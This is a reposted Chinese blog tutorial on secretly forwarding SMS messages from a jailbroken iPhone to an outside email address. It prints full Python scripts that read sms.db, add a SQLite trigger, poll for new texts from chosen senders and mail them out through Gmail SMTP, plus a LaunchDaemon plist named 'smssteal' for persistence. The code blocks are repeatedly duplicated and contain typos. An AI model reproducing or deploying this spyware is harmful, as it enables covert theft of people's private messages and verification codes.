迄今为止，移动应用安全基本聚焦在以下几个方面，一是移动设备管理BYOD（bring your own device），二是移动恶意软件分析，三是移动设备用户隐私安全，四是移动操作系统内核漏洞挖掘。对普通用户而言，窃取用户隐私数据的恶意软件是很大的威胁。
本篇文章旨在介绍一种如何将设备上的短信发送到指定邮箱中的方法，
方法来自Forwarding SMS to Email on Jailbroken iOS
原文:FreeBuf http://www.freebuf.com/articles/terminal/7406.html
实验环境
1.iOS 5.1.1越狱设备 2. 通过cydia安装 python 2.7.3 3. 通过cydia安装SQLite 3.x 4. 通过Cydia安装adv-cmds
一、使用python脚本读取sms.db数据库中存储的短信内容
iOS 短信存储在系统的/var/mobile/Library/SMS/文件夹中，包含3个主要文件:
（1）sms.db，标准的SQLite 3格式,存储主要的短信数据
（2）sms.db-shm, “Associate File”
（3）sms.db-wal. “Write Ahead Log”
1 danimato-iPod:/var/mobile/Library/SMS root# file sms.db sms.db: SQLite 3.x database
2 danimato-iPod:/var/mobile/Library/SMS root# file sms.db-shm sms.db-shm: data
3 /var/mobile/Library/SMS root# file sms.db-wal sms.db-wal: data
2 danimato-iPod:/var/mobile/Library/SMS root# file sms.db-shm sms.db-shm: data
3 /var/mobile/Library/SMS root# file sms.db-wal sms.db-wal: data
我们使用SQLite Database Browser打开sms.db,并执行查询语句，会发现如下错误
于是，我们可以使用strings命令查看一下这个文件里面的内容（strings命令在初步分析文件时很有用）
danimato-iPod:/var/mobile/Library/SMS root# strings sms.db >smsdb 打开smsdb文件，可以看到短信message表结构，如下所示
CREATE TABLE message (ROWID INTEGER PRIMARY KEY AUTOINCREMENT, address TEXT, date INTEGER,textTEXT, flags INTEGER, replace INTEGER, svc_center TEXT, group_id INTEGER, association_id INTEGER, height INTEGER, UIFlags INTEGER, version INTEGER, subject TEXT, country TEXT, headers BLOB, recipients BLOB,readINTEGER, madrid_attributedBody BLOB, madrid_handle TEXT, madrid_version INTEGER, madrid_guid TEXT, madrid_type INTEGER, madrid_roomname TEXT, madrid_service TEXT, madrid_account TEXT, madrid_account_guid TEXT, madrid_flags INTEGER, madrid_attachmentInfo BLOB, madrid_url TEXT, madrid_error INTEGER, is_madrid INTEGER, madrid_date_read INTEGER, madrid_date_delivered INTEGER)
我们可以使用python脚本smsDBQuer.py（注意：原脚本不支持中文，需要改变一下）来查询一下该表中的数据，如下所示输出未读短信数量及内容
01 #!/usr/bin/python
02 # smstest.py
03 # by KrishnaChaitanya Yarramsetty
04 # www.foundstone.com
05
06 import sqlite3 as lite
07 import sys
08 import smtplib
09
10 smspath=“/var/mobile/Library/SMS/”
11
12 con = lite.connect(smspath+‘sms.db’)
13 msg=“”
14
15 with con:
16 con.row_factory = lite.Row
17 cur = con.cursor()
18 cur.execute(‘SELECT text，adderss from message where read=0 order by date desc’)
19 rows = cur.fetchall()
20 #data = cur.fetchone()
21 counter=0
22 print “Latest displayed first”
23 for row in rows:
24 counter+=1
25 print “Unread Message: %s“ % counter
26 textencode = row["text"].encode(‘gb2312′)
27 print “Text: %s“ % textencode
28
29 addressdecode = row["address"].encode(‘gb2312′)
30 print “Address: %s“ % addressdecode
31 #print “Text: %s” % row["text"]
32 msg=row["text"]
02 # smstest.py
03 # by KrishnaChaitanya Yarramsetty
04 # www.foundstone.com
05
06 import sqlite3 as lite
07 import sys
08 import smtplib
09
10 smspath=“/var/mobile/Library/SMS/”
11
12 con = lite.connect(smspath+‘sms.db’)
13 msg=“”
14
15 with con:
16 con.row_factory = lite.Row
17 cur = con.cursor()
18 cur.execute(‘SELECT text，adderss from message where read=0 order by date desc’)
19 rows = cur.fetchall()
20 #data = cur.fetchone()
21 counter=0
22 print “Latest displayed first”
23 for row in rows:
24 counter+=1
25 print “Unread Message: %s“ % counter
26 textencode = row["text"].encode(‘gb2312′)
27 print “Text: %s“ % textencode
28
29 addressdecode = row["address"].encode(‘gb2312′)
30 print “Address: %s“ % addressdecode
31 #print “Text: %s” % row["text"]
32 msg=row["text"]
我们将smsDBQuery.py脚本上传到设备/var/mobile/Library/SMS/目录下
1 danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsDBQuery.py
2 danimato-iPod:/var/mobile/Library/SMS root# python smsDBQuery.py
2 danimato-iPod:/var/mobile/Library/SMS root# python smsDBQuery.py
运行结果如下：
二、窃取iPhone短信信息
接下来演示如何将iPhone上短信信息转发到指定邮箱中
1. smsCreateTrigger.py脚本
01 #!/usr/bin/python
02 # smstrigger.py
03 # by KrishnaChaitanya Yarramsetty
04 # www.foundstone.com
05
06 import sqlite3 as lite
07 import sys
08
09 smspath=“/var/mobile/Library/SMS/”
10
11 con = lite.connect(smspath + ‘sms.db’)
12
13 with con:
14 con.row_factory = lite.Row
15 cur = con.cursor()
16
17 #cur.execute(‘DROP TABLE message2;’)
18 #cur.execute(‘DROP TRIGGER insert_newest_message_email;’)
19 cur.execute(‘CREATE TABLE message2 (ROWID INTEGER PRIMARY KEY, address TEXT, date INTEGER, text TEXT, emailsent INTEGER);’)
20 cur.execute(‘CREATE TRIGGER insert_newest_message_email AFTER INSERT ON message WHEN new.ROWID >= 0 BEGIN INSERT INTO “message2″ select ROWID,address,date,text,0 from message where ROWID=new.ROWID; END;’)
21 print ‘Done.’
02 # smstrigger.py
03 # by KrishnaChaitanya Yarramsetty
04 # www.foundstone.com
05
06 import sqlite3 as lite
07 import sys
08
09 smspath=“/var/mobile/Library/SMS/”
10
11 con = lite.connect(smspath + ‘sms.db’)
12
13 with con:
14 con.row_factory = lite.Row
15 cur = con.cursor()
16
17 #cur.execute(‘DROP TABLE message2;’)
18 #cur.execute(‘DROP TRIGGER insert_newest_message_email;’)
19 cur.execute(‘CREATE TABLE message2 (ROWID INTEGER PRIMARY KEY, address TEXT, date INTEGER, text TEXT, emailsent INTEGER);’)
20 cur.execute(‘CREATE TRIGGER insert_newest_message_email AFTER INSERT ON message WHEN new.ROWID >= 0 BEGIN INSERT INTO “message2″ select ROWID,address,date,text,0 from message where ROWID=new.ROWID; END;’)
21 print ‘Done.’
我们将smsCreateTrigger.py上传到设备/var/mobile/Library/SMS/目录下，修改执行权限，并运行
1 danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsCreateTrigger.py
2 danimato-iPod:/var/mobile/Library/SMS root# python smsCreateTrigger.py Done.
2 danimato-iPod:/var/mobile/Library/SMS root# python smsCreateTrigger.py Done.
该脚本的功能是当message表有记录增加时，将新增记录插入新创建的message2表中
2.smsWatcher.py 脚本
01 #!/usr/bin/python
02 # smsread.py
03 # by KrishnaChaitanya Yarramsetty
04 # www.foundstone.com
05
06 import sqlite3 as lite
07 import sys
08 import smtplib
09 import time
10
11 def sendEmail(msg):
12 fromaddr = ‘abc@gmail.com’
13 toaddrs = ‘xyz@gmail.com’
14
15 # Credentials
16 username = ‘abc’
17 password = ‘****’
18
19 # The actual mail send snippet
20 server = smtplib.SMTP(‘smtp.gmail.com:587′)
21 server.starttls()
22 server.login(username,password)
23 server.sendmail(fromaddr, toaddrs, msg)
24 server.quit()
25
26 #Set path for SMS directory
27 #smsfromaddress will be used a filter. filter restricts only to those sms that have FROM address as mentioned below. FROM addresses can be multiple as well.
28 #”address” is the column name.
29
30 smspath=“/var/mobile/Library/SMS/”
31 smsfromaddress=(‘AXARWINF’,’6564567890′,)
32
33 #Poll for any new messages waiting to be delivered in an infinite loop with 60 second interval.
34 #though it is not one of the efficient methods, considering the purpose of the script it was taken for granted
35
36 while 1==1:
37 #Connect to the database and read sms from ‘message2′ table.
38 con = lite.connect(smspath+‘sms.db’)
39 with con:
40 con.row_factory = lite.Row
41 cur = con.cursor()
42 cur2 = con.cursor()
43 cur.execute(‘SELECT * from message2 where emailsent=0 and address=?’,smsfromaddress)
44 rows = cur.fetchall()
45 for row in rows:
46 msg=‘Address is ‘ + row["address"] + ‘ Text Message is ’ + row["text"].encode(‘gb2312′)
47 sendEmail(msg)
48 ROWID = (row["ROWID"],)
49 cur2.execute(‘UPDATE message2 SET emailsent=1 WHERE ROWID=?’, ROWID)
50 con.commit()
51 time.sleep(60)
02 # smsread.py
03 # by KrishnaChaitanya Yarramsetty
04 # www.foundstone.com
05
06 import sqlite3 as lite
07 import sys
08 import smtplib
09 import time
10
11 def sendEmail(msg):
12 fromaddr = ‘abc@gmail.com’
13 toaddrs = ‘xyz@gmail.com’
14
15 # Credentials
16 username = ‘abc’
17 password = ‘****’
18
19 # The actual mail send snippet
20 server = smtplib.SMTP(‘smtp.gmail.com:587′)
21 server.starttls()
22 server.login(username,password)
23 server.sendmail(fromaddr, toaddrs, msg)
24 server.quit()
25
26 #Set path for SMS directory
27 #smsfromaddress will be used a filter. filter restricts only to those sms that have FROM address as mentioned below. FROM addresses can be multiple as well.
28 #”address” is the column name.
29
30 smspath=“/var/mobile/Library/SMS/”
31 smsfromaddress=(‘AXARWINF’,’6564567890′,)
32
33 #Poll for any new messages waiting to be delivered in an infinite loop with 60 second interval.
34 #though it is not one of the efficient methods, considering the purpose of the script it was taken for granted
35
36 while 1==1:
37 #Connect to the database and read sms from ‘message2′ table.
38 con = lite.connect(smspath+‘sms.db’)
39 with con:
40 con.row_factory = lite.Row
41 cur = con.cursor()
42 cur2 = con.cursor()
43 cur.execute(‘SELECT * from message2 where emailsent=0 and address=?’,smsfromaddress)
44 rows = cur.fetchall()
45 for row in rows:
46 msg=‘Address is ‘ + row["address"] + ‘ Text Message is ’ + row["text"].encode(‘gb2312′)
47 sendEmail(msg)
48 ROWID = (row["ROWID"],)
49 cur2.execute(‘UPDATE message2 SET emailsent=1 WHERE ROWID=?’, ROWID)
50 con.commit()
51 time.sleep(60)
该脚本的功能是将messge2表中指定短信发送到指定邮箱中，我们需要修改脚本中用来接收SMS短信的邮箱相关信息
1 fromaddr = ‘danqingdani@gmail.com’ #发件人地址toaddrs = ’335451997@qq.com’ #收件人地址
2 username = ‘danqingdani@gmail.com’ #发件人邮箱名password = ‘****’#发件人邮箱密码
3 server = smtplib.SMTP(‘smtp.gmail.com:587′)#发件邮件服务器
4 smsfromaddress=(‘AXARWINF’,’187222222′,)#指定你想窃取的短信来自哪里
2 username = ‘danqingdani@gmail.com’ #发件人邮箱名password = ‘****’#发件人邮箱密码
3 server = smtplib.SMTP(‘smtp.gmail.com:587′)#发件邮件服务器
4 smsfromaddress=(‘AXARWINF’,’187222222′,)#指定你想窃取的短信来自哪里
上传smsWatcher.py到设备/var/mobile/Library/SMS/目录下，修改执行权限，并在后台运行
1 danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsWatcher.py
2 danimato-iPod:/var/mobile/Library/SMS root# python smsWatcher.py &
3 [1] 4819
2 danimato-iPod:/var/mobile/Library/SMS root# python smsWatcher.py &
3 [1] 4819
当运行上面两个脚本的iPhone有新的短信信息时，短信内容就会发送到你指定的邮箱中去了
3.设置脚本开机自动启动
上述脚本如果要常驻系统，开机自动启动，需要做以下设置，首先在/var/mobile/Library/SMS目录下编写一个bash脚本启动smsWatcher.py
1 danimato-iPod:/var/mobile/Library/SMS root# cat smsWatcher
2 #!/bin/bash
3 python /var/mobile/Library/SMS/smsWatcher.py
4 danimato-iPod:/var/mobile/Library/SMS root# cat smsWatcher
5 danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsWatcher
2 #!/bin/bash
3 python /var/mobile/Library/SMS/smsWatcher.py
4 danimato-iPod:/var/mobile/Library/SMS root# cat smsWatcher
5 danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsWatcher
然后在/System/Library/LaunchDaemons目录下编写一个plist配置文件，配置开机自动启动
01 danimato-iPod:/System/Library/LaunchDaemons root# cat com.dani.smssteal.plist
02 <?xml version=”1.0″ encoding=”UTF-8″?>
03 <!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd”>
04 <plist version=“1.0″>
05 <dict>
06 <key>Label</key>
07 <string>com.dani.smssteal</string>
08 <key>Program</key>
09 <string>/var/mobile/Library/SMS/smsWatcher</string>
10 <key>RunAtLoad</key>
11 <true/>
12 </dict>
13 </plist>
14 danimato-iPod:/System/Library/LaunchDaemons root# launchctl load /System/Library/LaunchDaemons/com.dani.smssteal.plist
02 <?xml version=”1.0″ encoding=”UTF-8″?>
03 <!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd”>
04 <plist version=“1.0″>
05 <dict>
06 <key>Label</key>
07 <string>com.dani.smssteal</string>
08 <key>Program</key>
09 <string>/var/mobile/Library/SMS/smsWatcher</string>
10 <key>RunAtLoad</key>
11 <true/>
12 </dict>
13 </plist>
14 danimato-iPod:/System/Library/LaunchDaemons root# launchctl load /System/Library/LaunchDaemons/com.dani.smssteal.plist
喜欢折腾的人去折腾吧.我反正是懒得折腾了. 等会发一个获取局域网照片的方法.
原文:FreeBuf http://www.freebuf.com/articles/terminal/7406.html
Web Site: ˉ黑色.小亮
Post Title: 将iPhone上短信内容发送到指定邮箱方法
Post Url: http://www.blackxl.org/will-the-iphone-text-messages-sent-to-the-email.html
Post Title: 将iPhone上短信内容发送到指定邮箱方法
Post Url: http://www.blackxl.org/will-the-iphone-text-messages-sent-to-the-email.html